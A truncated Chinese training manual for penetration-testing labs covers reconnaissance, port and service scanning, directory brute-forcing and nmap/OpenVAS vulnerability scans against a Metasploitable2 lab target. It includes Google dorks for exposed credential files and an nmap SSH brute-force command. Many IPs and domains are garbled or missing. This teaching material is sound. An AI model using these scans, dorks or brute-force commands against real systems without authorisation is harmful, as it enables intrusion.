版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進(jìn)行舉報(bào)或認(rèn)領(lǐng)
文檔簡介
實(shí)訓(xùn)手冊滲透測試技術(shù)滲透測試技術(shù)滲透測試技術(shù)實(shí)訓(xùn)手冊滲透測試技術(shù)滲透測試技術(shù)滲透測試技術(shù)滲透測試技術(shù)滲透測試技術(shù)滲透測試技術(shù)滲透測試技術(shù)滲透測試技術(shù)滲透測試技術(shù)滲透測試技術(shù)滲透測試技術(shù)滲透測試技術(shù)滲透測試技術(shù)滲透測試技術(shù)滲透測試技術(shù)滲透測試技術(shù)滲透測試技術(shù)滲透測試技術(shù)滲透測試技術(shù)滲透測試技術(shù)滲透測試技術(shù)滲透測試技術(shù)滲透測試技術(shù)滲透測試技術(shù)滲透測試技術(shù)滲透測試技術(shù)滲透測試技術(shù)滲透測試技術(shù)滲透測試技術(shù)滲透測試技術(shù)滲透測試技術(shù)滲透測試技術(shù)實(shí)訓(xùn)開始:登錄實(shí)驗(yàn)平臺學(xué)員使用實(shí)驗(yàn)室電腦,在瀏覽器輸入http://x.x.x.x,x.x.x.x為實(shí)驗(yàn)平臺登錄地址,進(jìn)入登錄界面。輸入學(xué)生賬號、密碼及驗(yàn)證碼,登錄實(shí)驗(yàn)平臺。項(xiàng)目一信息收集被動信息收集實(shí)訓(xùn)說明實(shí)訓(xùn)目的學(xué)會使用Whois信息查詢、子域名查詢、nslookup和dig解析IP、netcraft查詢、GoogleHacking和FOFA查詢。背景知識了解被動信息收集的流程和方法。實(shí)習(xí)時(shí)長2個(gè)學(xué)時(shí)實(shí)訓(xùn)環(huán)境實(shí)訓(xùn)器材本地Windows操作系統(tǒng)、KaliLinux虛擬機(jī)。網(wǎng)絡(luò)結(jié)構(gòu)本地Windows操作系統(tǒng)KaliLinux(31)本實(shí)驗(yàn)中,主動信息收集需要依賴網(wǎng)絡(luò),請實(shí)驗(yàn)老師根據(jù)學(xué)校組網(wǎng)與實(shí)驗(yàn)環(huán)境分配IP,使學(xué)員本機(jī)和KaliLinux虛擬機(jī)能夠訪問互聯(lián)網(wǎng)。實(shí)訓(xùn)內(nèi)容啟動KaliLinux。輸入用戶名kali和密碼kali,點(diǎn)擊登錄,進(jìn)入KaliLinux。Whois查詢域名是由一串用點(diǎn)“.”來分隔的字符串組成的Internet網(wǎng)上某一臺計(jì)算機(jī)或一組計(jì)算機(jī)的名稱,用于在數(shù)據(jù)傳輸時(shí)對計(jì)算機(jī)進(jìn)行定位標(biāo)識,一個(gè)域名會映射到一個(gè)或多個(gè)IP地址。滲透測試過程中,通過域名查詢信息的方式包括Whois查詢、備案信息查詢等。Whois查詢就是一個(gè)用來查詢域名是否已經(jīng)被注冊、注冊域名的詳細(xì)信息的數(shù)據(jù)庫,可查詢的信息包括域名所有人、域名注冊商、域名注冊日期和過期日期,還有域名歸屬者聯(lián)系方式,這些信息在后續(xù)針對該域名的爆破攻擊中十分有用。Whois信息查詢的渠道包括:站長之家()、Whois官網(wǎng)(/)、愛站工具網(wǎng)()、Godaddy(/)。以【】為例,打開瀏覽器搜索站長之家網(wǎng)站。在站長工具中查詢到【】的Whois信息如下所示??煽吹秸鹃L之家中的Whois信息有注冊商及域名的聯(lián)系郵箱等,但其聯(lián)系電話未顯示全部信息。要查看全部的信息,可在Whois官網(wǎng)或Godaddy官網(wǎng)查看,具體信息圖下圖所示:網(wǎng)站的備案信息是根據(jù)我國的法律法規(guī)規(guī)定,由網(wǎng)站的所有者向國家有關(guān)部門申請的備案,這是國家工業(yè)和信息化部對網(wǎng)站的一種管理方法,主要為了防止在網(wǎng)站所有者在網(wǎng)上從事非法的網(wǎng)站經(jīng)營活動。網(wǎng)站備案信息的局限性在于它主要針對國內(nèi)網(wǎng)站,如果網(wǎng)站搭建在其他國家,則不會有備案信息。查詢網(wǎng)站備案信息的渠道有:站長之家(/)和天眼查(/)。以【】為例,站長之家的網(wǎng)站備案信息查詢結(jié)果如下:子域名查詢子域名是指頂級域名下的域名,一個(gè)域名可分多級,每一級之間用“.”隔開,例如:,頂級域名指的是域名最右邊的一級域名,比如例子中的.com,常見的還有.net、.org等。二級域名和三級域名分別是指倒數(shù)第二位以及倒數(shù)第三位的域名,比如例子中的.baidu和.youa。廣泛而言,頂級域名下的都可以稱為子域名。子域名的查詢渠道有【https://phpinfo.me/domain】,首頁如下圖所示:以【】為例,搜索其子域名信息如下圖所示,phpinfo不僅提供了子域名信息,還提供了對應(yīng)的IP信息。nslookup解析IP在互聯(lián)網(wǎng)早期時(shí)代,主機(jī)個(gè)數(shù)很少,用戶訪問某個(gè)主機(jī)時(shí)可通過IP直接訪問,但I(xiàn)P地址這種點(diǎn)分十進(jìn)制的表述方式不符合人類的記憶習(xí)慣,于是域名應(yīng)運(yùn)而生。雖然我們現(xiàn)在在瀏覽器中訪問某個(gè)站點(diǎn)的時(shí)候是使用域名的形式,然而在地址解析的過程中,最終還是通過域名系統(tǒng)(DNS,DomainNameSystem)將域名解析為IP地址進(jìn)行訪問的。nslookup最初是一個(gè)對DNS服務(wù)器進(jìn)行檢測以及排錯(cuò)的命令行工具,我們可用其來實(shí)現(xiàn)將域名解析為IP地址,該工具由微軟發(fā)布,在Windows操作系統(tǒng)中默認(rèn)安裝。以【】為例,打開Windows命令行,輸入【nslookup】可得到域名解析的結(jié)果。觀察其域名解析結(jié)果可發(fā)現(xiàn),的解析IP包括【9】和【48】,使用這兩個(gè)任意的IP直接在瀏覽器中訪問,都是可以跳轉(zhuǎn)到百度首頁的。nslookup工具也支持交互模式的使用,直接在命令行中輸入【nslookup】將進(jìn)入交互操作模式,在解析域名的時(shí)候,也可以指定使用的DNS服務(wù)器,指定方法是直接在查詢域名后面追加使用服務(wù)器的IP地址,以使用谷歌的DNS服務(wù)器為例,在進(jìn)入nslookup的交互模式后,鍵入【】,將得到使用該DNS服務(wù)器解析的的IP,退出交互模式的方式是鍵入【exit】。dig解析IPdig是域信息搜索器(DIG,DomainInformationGroper),與nslookup類似,該命令也可用于執(zhí)行域名解析任務(wù)。 同樣以【baidu.con】為例,使用dig命令對其進(jìn)行解析查詢,其結(jié)果如下:可以看到該工具相對dig顯示的信息更加全面,除了域名解析的結(jié)果,還有包括了域名服務(wù)器相關(guān)的信息。另外,dig指定DNS服務(wù)器的方式與nslookup略有不同,需使用【@】來表示DNS服務(wù)器,同樣以使用google域名服務(wù)器解析為例,其命令為【dig@】。netcraft查詢netcraft是一個(gè)可以查詢到大部分知名網(wǎng)站詳細(xì)信息的網(wǎng)站,可檢索到的信息包括網(wǎng)站運(yùn)行服務(wù)器的類型,使用web服務(wù)器類型,甚至可能包含服務(wù)器所在的機(jī)房信息。netcraft的網(wǎng)址為【/】,以博客園的網(wǎng)站域名【】為例,在搜索框中輸入并查詢。etcraft的查詢結(jié)果包含背景描述、網(wǎng)絡(luò)、SSL、主機(jī)歷史、反垃圾郵件信息、電子郵件協(xié)議信息、Web跟蹤器信息以及網(wǎng)站技術(shù)信息等,在網(wǎng)站技術(shù)信息中,我們可看到網(wǎng)站客戶端和服務(wù)器端使用的框架、語言等信息,這些信息在我們的滲透測試過程中是十分有價(jià)值的。GooglehackingGooglehacking的指令有site、inurl、intitle
、intext
、filetype
、link等。Site用于子域名掃描,例如:【site:】,可搜索的子域名。Inurl用于搜索URL中存在關(guān)鍵字的頁面,例如【inurlphpid】可搜索可能存在SQL注入的網(wǎng)頁。Intitle可用于搜索網(wǎng)頁標(biāo)題中的關(guān)鍵字,例如【intitle后臺登錄】,可搜索后臺登錄的頁面。Filetype可搜索指定的文件類型,例如【filetype:xls“sername|password”】可搜索xls格式的用戶名和密碼文件。Link可用于查找鏈接搜索域名的url,例如:【link:】可搜索的url。Intext可用于搜索網(wǎng)頁正文中的關(guān)鍵字,例如【site:intext:后臺管理】可用來搜索一些學(xué)校的后臺。FOFAFOFA是白帽匯推出的一款用于網(wǎng)絡(luò)空間資產(chǎn)搜索的引擎,訪問地址為【/】,它能實(shí)現(xiàn)漏洞影響范圍分析、應(yīng)用分布統(tǒng)計(jì)等,能幫助用戶快速進(jìn)行網(wǎng)絡(luò)資產(chǎn)匹配,F(xiàn)OFA也有簡單的查詢語法。通過domain=""搜索的子域名。通過title="后臺登錄"尋找網(wǎng)站后臺。通過
body="管理后臺",尋找管理后臺。通過host="edu"&&country="CN"搜索域名中帶有"edu"關(guān)鍵詞的網(wǎng)站。通過port="7001"&&country=CN搜索開放weblogic服務(wù)并且位于中國的IP。 當(dāng)然,fofa語法的用法遠(yuǎn)遠(yuǎn)不止上面所介紹的。熟練運(yùn)用fofa語法可以幫助我們快速有效的進(jìn)行信息收集與外圍的打點(diǎn)工作。總結(jié)與思考實(shí)訓(xùn)總結(jié)這部分內(nèi)容是學(xué)習(xí)信息收集相關(guān)工具的使用,主要內(nèi)容包括:使用Whois信息查詢、子域名查詢、nslookup和dig解析IP、netcraft查詢實(shí)現(xiàn)被動信息收集。使用Googlehacking和FOFA進(jìn)行網(wǎng)絡(luò)空間測繪。思考題除了書本上介紹的Whois信息查詢,ip、域名與子域名等信息收集,你還知道哪些被動信息收集的方向?主動信息收集實(shí)訓(xùn)說明實(shí)訓(xùn)目的學(xué)會活躍主機(jī)掃描、操作系統(tǒng)指紋識別、端口掃描、服務(wù)指紋識別和web敏感目錄掃描方法。背景知識了解主動信息收集的流程和方法。實(shí)習(xí)時(shí)長2個(gè)學(xué)時(shí)實(shí)訓(xùn)環(huán)境實(shí)訓(xùn)器材KaliLinux虛擬機(jī)、Metasploitable2-Linux虛擬機(jī)。網(wǎng)絡(luò)結(jié)構(gòu)KaliLinux(31)Metasploitable2-Linux(90)本實(shí)驗(yàn)中,請實(shí)驗(yàn)老師根據(jù)學(xué)校組網(wǎng)與實(shí)驗(yàn)環(huán)境分配IP,使學(xué)員本機(jī)和KaliLinux虛擬機(jī)能夠訪問互聯(lián)網(wǎng),并且Metasploitable2-Linux與KaliLinux在同一網(wǎng)段。實(shí)訓(xùn)內(nèi)容實(shí)訓(xùn)準(zhǔn)備啟動KaliLinux。輸入用戶名kali和密碼kali,點(diǎn)擊登錄,進(jìn)入KaliLinux。活躍主機(jī)掃描活躍主機(jī)掃描可讓滲透測試人員發(fā)現(xiàn)局域網(wǎng)中的所有活躍主機(jī),為后續(xù)的橫向移動等奠定基礎(chǔ),實(shí)現(xiàn)掃描的方式多種多樣,可基于ARP、ICMP、TCP等協(xié)議實(shí)現(xiàn)。基于ARP實(shí)現(xiàn)的活躍主機(jī)掃描技術(shù)要求與目標(biāo)主機(jī)位于同一網(wǎng)段,它的掃描速度更快、掃描結(jié)果也更加準(zhǔn)確;基于ICMP的活躍主機(jī)掃描方式往往是安全設(shè)備的防御重點(diǎn),因此掃描結(jié)果不太準(zhǔn)確;基于TCP的活躍主機(jī)掃描技術(shù)是通過TCP三次握手協(xié)議實(shí)現(xiàn)的,掃描方式最常用的有TCPSYN和TCPACK兩種。Metasploit中提供了活躍主機(jī)掃描功能模塊,該功能屬于輔助模塊,具體的模塊路徑為modules/auxiliary/scanner/discovery/,該路徑下的七個(gè)子項(xiàng)目arp_sweep、empty_udp、ipv6_multicast_ping、ipv6_neighbor、ipv6_neighbor_router_advetisement、udp_probe、udp_sweep。其中,arp_sweep發(fā)現(xiàn)活躍主機(jī)的原理是使用ARP請求枚舉本地局域網(wǎng)絡(luò)中的所有活躍主機(jī)。ARP(AddressResolutionProtocol)是一種地址解析協(xié)議,它的作用是將IP地址轉(zhuǎn)換成MAC地址,以便能實(shí)現(xiàn)消息的發(fā)送與接收,具體的轉(zhuǎn)換過程是通過廣播ARP請求方式查詢指定IP的MAC地址,IP符合查詢的主機(jī)將自己的MAC地址回應(yīng),因此,能通過發(fā)送ARP請求來獲取同一子網(wǎng)上的活躍主機(jī)信息。在使用Metasploit的arp_sweep模塊進(jìn)行活躍主機(jī)掃描時(shí),先使用use命令啟用該模塊useauxiliary/scanner/discovery/arp_sweep。然后使用set命令設(shè)置掃描網(wǎng)段和線程數(shù),然后執(zhí)行run命令開始掃描。Nmap通過啟用“-sP”參數(shù)也能夠?qū)崿F(xiàn)活躍主機(jī)掃描。以目標(biāo)所在的網(wǎng)段為例,掃描整個(gè)網(wǎng)段-55共255個(gè)IP地址的具體命令為nmap-sP/24,“-sP”選項(xiàng)在默認(rèn)情況下,會發(fā)送一個(gè)ICMP回聲請求和一個(gè)TCP報(bào)文到目標(biāo)端口,只進(jìn)行Ping,然后顯現(xiàn)出在線(做出響應(yīng))的主機(jī),使用該選項(xiàng)掃描可以輕易地獲取目標(biāo)信息而不會被輕易發(fā)現(xiàn)。操作系統(tǒng)指紋識別操作系統(tǒng)指紋識別指的是識別某臺設(shè)備上運(yùn)行的操作系統(tǒng)的類型,例如操作系統(tǒng)指紋為Linux(kernel2.4),代表該操作系統(tǒng)為Linux系統(tǒng),內(nèi)核版本為2.4。識別的方法是通過分析設(shè)備在網(wǎng)絡(luò)發(fā)送的數(shù)據(jù)包中協(xié)議的標(biāo)記、選項(xiàng)等數(shù)據(jù)推斷發(fā)送數(shù)據(jù)包的操作系統(tǒng)。通過操作系統(tǒng)指紋識別可以獲取操作系統(tǒng)的具體類型,這為后續(xù)滲透測試中漏洞利用奠定了基礎(chǔ),因?yàn)樵S多漏洞都強(qiáng)依賴于操作系統(tǒng)的版本。p0f是一款被動探測操作系統(tǒng)指紋的工具,它通過嗅探方式分析網(wǎng)絡(luò)數(shù)據(jù)包來判斷操作系統(tǒng)類型,不會干涉雙方的正常通信。此外,它還可以用于分析NAT、負(fù)載均衡、應(yīng)用代理等。該工具可以運(yùn)行在前臺也可以后臺運(yùn)行。p0f探測的原理是利用TCP的SYN數(shù)據(jù)包實(shí)現(xiàn)操作系統(tǒng)的被動檢測,能夠正確地識別目標(biāo)系統(tǒng)類型。由于在探測過程中不向目標(biāo)系統(tǒng)發(fā)送任何數(shù)據(jù),只被動地接受目標(biāo)系統(tǒng)的數(shù)據(jù)進(jìn)行分析,因此它幾乎無法被檢測到。p0f在kali2022.1中沒有默認(rèn)安裝,因此在使用前需通過命令:gitclone/p0f/p0f.git克隆源碼,然后通過命令sudoapt-getinstalllibpcap-dev安裝P0f的相關(guān)運(yùn)行環(huán)境libpcap,然后運(yùn)行p0f自帶的build.sh即可一鍵安裝p0f,實(shí)驗(yàn)環(huán)境中的p0f工具已安裝完成。安裝完成后,進(jìn)入p0f所在目錄【/usr/local/share/p0f/】,鍵入“./p0f”將啟動該工具。使用ifconfig查看Kali的網(wǎng)卡配置信息,可看到啟用的網(wǎng)卡名稱為eth0。使用p0f的“-i”參數(shù)設(shè)定監(jiān)聽網(wǎng)卡為eth0,“-p”參數(shù)設(shè)置監(jiān)聽模式為混雜模式,開始監(jiān)聽。然后開啟Firefox瀏覽器,并在url地址欄中輸入客戶端的IP地址,由于Kali自帶的瀏覽器在啟動時(shí)會加載相關(guān)頁面,因此可以觀察p0f監(jiān)聽到的信息,可以看到目標(biāo)系統(tǒng)客戶端90的操作系統(tǒng)類型為Linux2.2.x-3.x。Nmap實(shí)現(xiàn)操作系統(tǒng)指紋識別是通過用TCP/IP協(xié)議棧的指紋進(jìn)行遠(yuǎn)程操作系統(tǒng)探測來實(shí)現(xiàn)的,TCP/IP協(xié)議棧指紋就是各個(gè)廠家,如微軟和RedHat在編寫自己的TCP/IP協(xié)議棧時(shí),對協(xié)議棧做出了不同的解釋,這些解釋因具有獨(dú)一無二的特性,故被稱為“指紋”。Nmap有1500多個(gè)已知操作系統(tǒng)的指紋信息,用“-O”參數(shù)可實(shí)現(xiàn)操作系統(tǒng)指紋識別功能,以本節(jié)中Kali虛擬機(jī)網(wǎng)絡(luò)環(huán)境為例,命令為nmap-O90。端口掃描每個(gè)端口對應(yīng)了一個(gè)網(wǎng)絡(luò)服務(wù)及應(yīng)用端的程序,通過端口掃描我們可以發(fā)現(xiàn)目標(biāo)系統(tǒng)開放的端口、啟用的服務(wù),能夠得到更具體的攻擊面。Metasploit中提供了端口掃描功能模塊,該功能屬于輔助模塊,具體的模塊路徑為modules/auxiliary/scanner/portscan/,該路徑下的子項(xiàng)目共有ack、ftpbounce、syn、tcp和xmas共5個(gè)。其中,syn是通過使用發(fā)送TCPSYN標(biāo)志的方式實(shí)現(xiàn)探測開放的端口目標(biāo),探測過程比較隱蔽,而且掃描速度會比較快。使用syn模塊進(jìn)行端口掃描時(shí),首先用useauxiliary/scanner/portscan/syn啟用端口掃描模塊,然后使用set命令設(shè)置掃描的主機(jī)地址和線程個(gè)數(shù),這里設(shè)置的主機(jī)地址為虛擬機(jī)的宿主機(jī)IP地址,然后使用run命令啟動掃描,可看到主機(jī)90的TCP開啟端口。用Nmap實(shí)現(xiàn)端口掃描,使用默認(rèn)的掃描方式對目標(biāo)的端口進(jìn)行掃描,命令為nmap90,可以看到目標(biāo)主機(jī)有977個(gè)關(guān)閉的端口,因?yàn)槲醇訁?shù),默認(rèn)只掃描1000個(gè)常見端口。Nmap默認(rèn)的端口掃描方式是TCPSYN掃描,這種掃描方式的優(yōu)點(diǎn)是執(zhí)行得很快,如果掃描目標(biāo)網(wǎng)絡(luò)沒有使用防火墻的話,每秒可以掃描數(shù)千個(gè)端口,而且這種掃描方式不易被注意到,能明確可靠地區(qū)分open(開放的)、closed(關(guān)閉的)、和filtered(被過濾的)狀態(tài)。如果想要增加掃描范圍,可以利用-p參數(shù)進(jìn)行全端口掃描,命令為nmap90-p1-65535。服務(wù)指紋識別服務(wù)指紋識別主要是確定某個(gè)服務(wù)的版本信息,由于漏洞通常與服務(wù)的版本關(guān)聯(lián),因此服務(wù)指紋識別對后續(xù)的滲透測試也十分重要。Amap是一個(gè)服務(wù)枚舉工具,使用這個(gè)工具可以識別正運(yùn)行在一個(gè)指定的端口或一個(gè)端口范圍上的應(yīng)用程序。Amap的工作原理是向某個(gè)端口發(fā)送觸發(fā)的報(bào)文,將收到的響應(yīng)與其數(shù)據(jù)庫中的結(jié)果進(jìn)行匹配,輸出與之相匹配的應(yīng)用程序信息。Amap在Kali2022.1中未默認(rèn)安裝,需使用apt-getinstallamap進(jìn)行安裝。注:實(shí)驗(yàn)環(huán)境中已安裝。安裝完成后,鍵入amap運(yùn)行Amap,其命令說明如下。使用Amap對目標(biāo)80端口的服務(wù)進(jìn)行掃描,可以看到80端口開啟了HTTP和HTTP-Apache-2服務(wù)。此外,也可通過Amap的“-b”參數(shù)查看接收到的服務(wù)標(biāo)識信息,具體命令為amap9080-b,根據(jù)掃描的信息可以確定該目標(biāo)機(jī)80端口運(yùn)行的Apache服務(wù)版本和后端腳本語言PHP版本。Nmap的服務(wù)指紋識別也是通過將其收集到的端口信息與自身的服務(wù)指紋數(shù)據(jù)庫進(jìn)行對比匹配實(shí)現(xiàn)的,服務(wù)版本查詢可以用“-sV”參數(shù)實(shí)現(xiàn)。以本節(jié)中Kali虛擬機(jī)為例,具體的探測命令為nmap-sV90。Web目錄掃描在我們部署了網(wǎng)站之后有很多的敏感文件,比如說配置文件(.cfg)、數(shù)據(jù)文件(.sql)、目錄文件(/backup/conf/admin)。但是有些網(wǎng)站如果配置出現(xiàn)問題,就會被攻擊者攻擊。這些配置的問題會導(dǎo)致數(shù)據(jù)庫用戶名和密碼、服務(wù)器的用戶名和密碼、數(shù)據(jù)庫的文件、網(wǎng)站源碼等等信息都會被入侵。如果黑客獲得了相應(yīng)文件后,就能對網(wǎng)站進(jìn)行進(jìn)一步的攻擊!dirb是kali下自帶的web目錄掃描工具,使用dirsearch對目標(biāo)機(jī)器進(jìn)行掃描,用法如下:dirb90//usr/share/dirb/wordlists/big.txt可以看到mysql數(shù)據(jù)庫的管理組件phpMyAdmin路徑泄露。同樣dirbuster可視化掃描工具,也是在kali中集成,使用dirbuster命令啟動。填入目標(biāo)機(jī)器url和相應(yīng)的暴破字典即可。工具自帶的字典路徑為/usr/share/dirbuster/wordlists/,例如選擇directory-list-2.3-small.txt進(jìn)行web路徑暴破。看到暴破到的web路徑與其他敏感文件。總結(jié)與思考實(shí)訓(xùn)總結(jié)這部分內(nèi)容是學(xué)習(xí)信息收集相關(guān)工具的使用,主要內(nèi)容包括:使用工具實(shí)現(xiàn)活躍主機(jī)掃描、操作系統(tǒng)指紋識別、端口掃描、服務(wù)指紋識別和Web目錄掃描。思考題除了書本上介紹的活躍主機(jī)掃描、操作系統(tǒng)指紋識別、端口掃描、服務(wù)指紋識別和Web目錄掃描這些方向外,你還知道哪些主動信息收集的方向?項(xiàng)目二漏洞掃描網(wǎng)絡(luò)漏洞掃描實(shí)訓(xùn)說明實(shí)訓(xùn)目的1.掌握使用Nmap查找特定服務(wù)漏洞。2.掌握使用OpenVAS掃描目標(biāo)系統(tǒng)。3.掌握使用Nessees掃描目標(biāo)系統(tǒng)。背景知識了解網(wǎng)絡(luò)漏洞掃描工具的使用。實(shí)習(xí)時(shí)長2個(gè)學(xué)時(shí)實(shí)訓(xùn)環(huán)境實(shí)訓(xùn)器材KaliLinux虛擬機(jī)、Metasploitable2-Linux虛擬機(jī)。網(wǎng)絡(luò)結(jié)構(gòu)KaliLinux(32)Metasploitable2-Linux(90)本實(shí)驗(yàn)中,信息收集需要依賴網(wǎng)絡(luò),請實(shí)驗(yàn)老師根據(jù)學(xué)校組網(wǎng)與實(shí)驗(yàn)環(huán)境分配IP,使Metasploitable2-Linux與KaliLinux在同一網(wǎng)段。實(shí)訓(xùn)內(nèi)容實(shí)訓(xùn)準(zhǔn)備啟動KaliLinux。輸入用戶名kali和密碼kali,點(diǎn)擊登錄,進(jìn)入KaliLinux。Nmap漏洞掃描Nmap可以作為信息收集工具來實(shí)現(xiàn)活躍主機(jī)掃描、操作系統(tǒng)指紋識別、端口掃描和服務(wù)指紋識別。但是Nmap這款工具還提供了一些網(wǎng)絡(luò)漏洞掃描腳本用以實(shí)現(xiàn)特定服務(wù)漏洞掃描和驗(yàn)證。Nmap現(xiàn)有的功能腳本文件的默認(rèn)目錄為/usr/share/nmap/scripts。Nmap的腳本功能主要分為以下幾類。auth:實(shí)現(xiàn)了繞開權(quán)限鑒定的腳本。broadcast:實(shí)現(xiàn)在局域網(wǎng)內(nèi)探測DHCP、DNS、SQLServer等更多服務(wù)開啟狀況的腳本。brute:實(shí)現(xiàn)對HTTP、SNMP應(yīng)用暴力破解的腳本。default:這是用-sC或-A參數(shù)掃描時(shí)默認(rèn)的腳本,實(shí)現(xiàn)基本掃描能力的腳本。discovery:實(shí)現(xiàn)對SMB枚舉、SNMP查詢等網(wǎng)絡(luò)更多信息收集的腳本;dos:實(shí)現(xiàn)拒絕服務(wù)攻擊的腳本。exploit:實(shí)現(xiàn)利用已知漏洞入侵系統(tǒng)的腳本。external:實(shí)現(xiàn)whois解析等第三方數(shù)據(jù)庫或資源的利用腳本。fuzzer:實(shí)現(xiàn)模糊測試的腳本,這些腳本通過發(fā)送異常的包到目標(biāo)機(jī)來探測潛在的漏洞。intrusive:實(shí)現(xiàn)具有入侵性的腳本,這些腳本可能被目標(biāo)主機(jī)的IDS/IPS等設(shè)備屏蔽并記錄。malware:實(shí)現(xiàn)探測目標(biāo)機(jī)是否已經(jīng)感染病毒、是否開啟后門等信息的腳本。safe:實(shí)現(xiàn)不具有入侵性的腳本。version:實(shí)現(xiàn)增強(qiáng)服務(wù)和版本掃描功能的腳本。vuln:實(shí)現(xiàn)目錄主機(jī)是否有常見的漏洞的檢查腳本。腳本常見使用方法可以通過nmap-h命令查看。Nmap腳本掃描常用參數(shù)解釋如下。--script-args=<n1=v1,[n2=v2,...]>:提供腳本參數(shù)。--script-args-file=filename:提供NSE腳本參數(shù)字典文件。--script-trace:展示所有發(fā)送和接收的數(shù)據(jù)。--script-updatedb:更新腳本數(shù)據(jù)庫。-sC參數(shù)等價(jià)于-sC=default使用默認(rèn)類別的腳本進(jìn)行掃描,可更換其他腳本類別。Metasploitable是一個(gè)靶機(jī)系統(tǒng),里面包括多種典型的安全漏洞,十分適合用于測試安全工具和練習(xí)滲透測試技術(shù),這里以Metasploitable2-Linux實(shí)驗(yàn)環(huán)境(IP:90)為例,使用Nmap以上腳本對目標(biāo)系統(tǒng)進(jìn)行掃描。使用Nmap的auth類型腳本進(jìn)行鑒權(quán)繞過,檢測系統(tǒng)內(nèi)部一些弱口令。具體命令:nmap--script=auth90??梢钥吹侥繕?biāo)系統(tǒng)22端口ssh服務(wù)認(rèn)證方法為公鑰登錄和密碼登錄兩種方式;3306端口mysql服務(wù)root賬號空密碼,并且枚舉出mysql數(shù)據(jù)庫用戶debian-sys-maint、guest、root等;8180端口tomcat服務(wù)后臺管理賬號tomcat與密碼tomcat以及Host腳本掃描枚舉出的smb服務(wù)域和用戶名。使用Nmap的brute腳本對目標(biāo)系統(tǒng)的服務(wù)進(jìn)行暴力破解,例如ssh,smtp,mysql等。具體命令為:nmap--script=brute90,一般多服務(wù)一起爆破通常需要很長時(shí)間,所以可以指定服務(wù)進(jìn)行爆破,如ssh服務(wù),具體命令為:nmap--script=ssh-brute90。使用Nmap的default腳本收集目標(biāo)主機(jī)的服務(wù)信息,具體命令為nmap--script=default90。可以看到Nmap探測目標(biāo)系統(tǒng)開啟22、23、80、445、3306等很多常見服務(wù)端口詳細(xì)信息。使用Nmap的vuln腳本探測目標(biāo)主機(jī)可能存在的漏洞,具體命令為nmap--script=vuln90,觀察結(jié)果可以發(fā)現(xiàn)目標(biāo)系統(tǒng)存在很多漏洞。OpenVAS(GVM)漏洞掃描開放式漏洞評估系統(tǒng)(OpenVulnerabilityAssessmentSystem,OpenVAS),是一個(gè)開放式的漏洞評估工具,它是收費(fèi)掃描工具Nessus的一個(gè)分支,以客戶端/服務(wù)器(C/S)和瀏覽器/服務(wù)器(B/S)架構(gòu)向用戶提供服務(wù)。OpenVAS的服務(wù)器端有三個(gè)重要的組件:OpenVAS-Administrator、OpenVAS-Scanner和OpenVAS-Manager。其中,OpenVAS-Administrator是管理者組件,實(shí)現(xiàn)配置信息管理功能;OpenVAS-Scanner是掃描器組件,實(shí)現(xiàn)漏洞檢測插件調(diào)用,完成掃描功能;OpenVAS-Manager是管理器組件,實(shí)現(xiàn)掃描任務(wù)分配,根據(jù)掃描結(jié)果生成評估報(bào)告的功能??蛻舳擞蠴penVAS-CLI和Greenbone-Desktop-Suite等,其中OpenVAS-CLI用于從命令行訪問OpenVAS服務(wù)器,Greenbone-Desktop-Suite主要運(yùn)行在Windows操作系統(tǒng)中,用于從圖形界面中訪問OpenVAS服務(wù)器。Kali2022.1中apt-getinstallopenvas命令已經(jīng)廢棄,并且OpenVAS已經(jīng)改名為GVM。所以需要自行安裝。具體安裝步驟如下。sudoapt-getinstallgvm//安裝sudogvm-setup//初始化sudogvm-check-setup//檢查sudogvm-feed-update//升級漏洞庫sudogvm-start//啟動sudorunuser-u_gvm--gvmd--user=admin--new-password=password//修改web賬號admin密碼為password安裝完成后,使用瀏覽器訪問:9392,即可打開OpenVAS的首頁。使用OpenVAS前需要?jiǎng)?chuàng)建用戶,利用設(shè)置的用戶名admin,密碼password,登錄OpenVAS的Dashboards首頁。OpenVAS在進(jìn)行漏洞掃描之前需要進(jìn)行一些設(shè)置。在Configration→Targets中可以看到掃描目標(biāo),也可以在左上角星型按鈕NewTarget中添加掃描目標(biāo)。在Configration→PortLists中可以看到三種端口掃描類型。分別為AllIANAassignedTCP(所有TCP)、AllIANAassignedTCPandUDP(所有UDP)、AllTCPandNmaptop100UDP(所有TCP和Nmap掃描的前100UDP),一般默認(rèn)端口掃描類型為AllIANAassignedTCP。在Configration→ScanConfigs中可以看到七種掃描配置。分別為Base(基礎(chǔ)掃描)、Discovery(網(wǎng)絡(luò)發(fā)現(xiàn)掃描)、Empty(空和靜態(tài)配置模板掃描)、Fullandfast(快速全掃描)、HostDiscovery(主機(jī)發(fā)現(xiàn)掃描)、Log4Shell(CVE-2021-44228掃描)和SystemDiscovery(系統(tǒng)掃描),通常情況下使用Fullandfast掃描模式,該掃描模式會對目標(biāo)系統(tǒng)做完整、快速的掃描。在Configration→Schedules中可以看到導(dǎo)出掃描報(bào)告的6種格式,分別為AnonymousXML、CSV、ITG、PDF、TXT、XML。在Configration→Scanners中可以看到CVE掃描和OpenVAS默認(rèn)掃描2種掃描器。本節(jié)將以O(shè)penVAS掃描Metasploitable2-Linux系統(tǒng)(IP:90)為例來進(jìn)行介紹。新建掃描任務(wù),單擊Configuration→Targets→左上角星型按鈕(新增按鈕NewTarget),增加一個(gè)Target目標(biāo)。Hosts里添加目標(biāo)機(jī)器ip,也可以載入存放ip列表的list文件;端口列表PortList可以根據(jù)目標(biāo)系統(tǒng)所在的網(wǎng)絡(luò)環(huán)境進(jìn)行選擇,AliveTest一般默認(rèn)選擇ScanConfigDefault即可。添加成功可在Targets列表中看到上面所添加的目標(biāo)。配置好掃描目標(biāo)后,在Scans→Tasks中設(shè)置掃描任務(wù)NewTask。設(shè)置掃描任務(wù)名稱,選擇掃描對象為之前創(chuàng)建的Metasploitable2-Linux,在ScanConfig中選擇Fullandfast掃描模式,設(shè)置NVT并發(fā)數(shù)為30,擊右下角的“Save”,保存掃描任務(wù)設(shè)置。掃描任務(wù)創(chuàng)建完成后,單擊任務(wù)列表的Start,啟動掃描任務(wù)。等待掃描結(jié)束后,在Scans→Results中找到Metasploitable2-Linux,點(diǎn)擊Date列的日期進(jìn)入,可以看到漏洞掃描結(jié)果中高、中、低危漏洞所占的比例與柱狀圖。點(diǎn)開Vulnerability還能看到漏洞詳情。選擇“Results”的界面,單擊“DownloadfilteredReport”按鈕,導(dǎo)出掃描報(bào)告。報(bào)告導(dǎo)出后,可打開下載的PDF文件,查看報(bào)告內(nèi)容。Nessus漏洞掃描Nessus是重要的滲透測試工具之一,全世界超過75000個(